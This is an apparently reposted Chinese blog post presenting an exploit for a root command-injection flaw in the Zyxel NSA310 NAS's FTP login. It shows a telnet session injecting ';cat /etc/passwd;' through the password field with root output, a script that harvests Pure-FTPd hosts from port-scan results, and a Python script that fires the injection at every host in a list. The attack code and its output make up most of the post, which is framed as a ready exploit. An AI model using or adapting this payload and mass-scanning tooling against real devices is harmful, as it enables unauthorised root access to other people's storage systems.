Zyxel NSA310远程命令执行漏洞(exp)

概要

Zyxel NAS310是一款具备资料存储功能的装置,因此也称为“网络存储器”。它是一种专用数据存储服务器。它以数据为中心,将存储设备与服务器彻底分离,集中 管理数据,从而释放带宽、提高性能、降低总拥有成本、保护投资。其成本远远低于使用服务器存储,而效率却远远高于后者。

国外安全研究员披露Zyxel NAS310存在一个远程命令执行漏洞(https://blogs.securiteam.com/index.php/archives/2694 ) ,NAS310在FTP登录时对传入的参数没有有效过滤,导致攻击者可以注入系统命令并执行,且执行权限是root最高权限。

1.测试:

$ telnet 192.168.219.101 21
Trying 192.168.219.101...
Connected to 192.168.219.101.
Escape character is '^]'.
220­­­­­­­­­­ Welcome to Pure­FTPd [TLS] ­­­­­­­­­­
220­ You are user number 1 of 10 allowed.
220 ­Local time is now 22:46. Server port: 21.
220 ­This is a private system ­ No anonymous login
220­ IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
user '
331 User ' OK. Password required
pass ';cat /etc/passwd;
root:x:0:0:root:/root:/bin/sh

2.从端口扫描器扫描结果提取banner里面包含PureFTPd的ip

#!/usr/bin/env python 
# encoding: utf-8
import os
from fileutils import FileUtils
import re


for line in FileUtils.getLines('result.txt'):
    if re.search(r'Welcome to Pure­FTPd',line):
        ip = re.search(r'\d+\.\d+\.\d+\.\d+',line)
        print ip.group()

        fp = open('filter.txt','a')
        fp.write(ip.group() + '\n')
        fp.close()
    else:
        pass

 

3.测试脚本

#!/usr/bin/env python
# encoding: utf-8
import sys
import os
from fileutils import FileUtils
import telnetlib

username = 'user \''
password = 'pass \';cat /etc/passwd;'

def verify(Host):
    print Host

    global tn
    try:    
        tn = telnetlib.Telnet(Host, port=21, timeout=5)
        tn.set_debuglevel(2)
    except Exception,e:
        tn.close()
        pass
    else:
        if tn.read_until('220 You will be disconnected',timeout=3):
            tn.write(username + '\r\n')
        else:
            tn.close()

        if tn.read_until('OK. Password required',timeout=3):    
            tn.write(password + '\r\n')
            tn.close()
        else:
            tn.close()

if __name__ == '__main__':
    for host in FileUtils.getLines('ip.lst'):
        verify(host)

 测试效果:

转载于:https://www.cnblogs.com/persuit/p/5705693.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值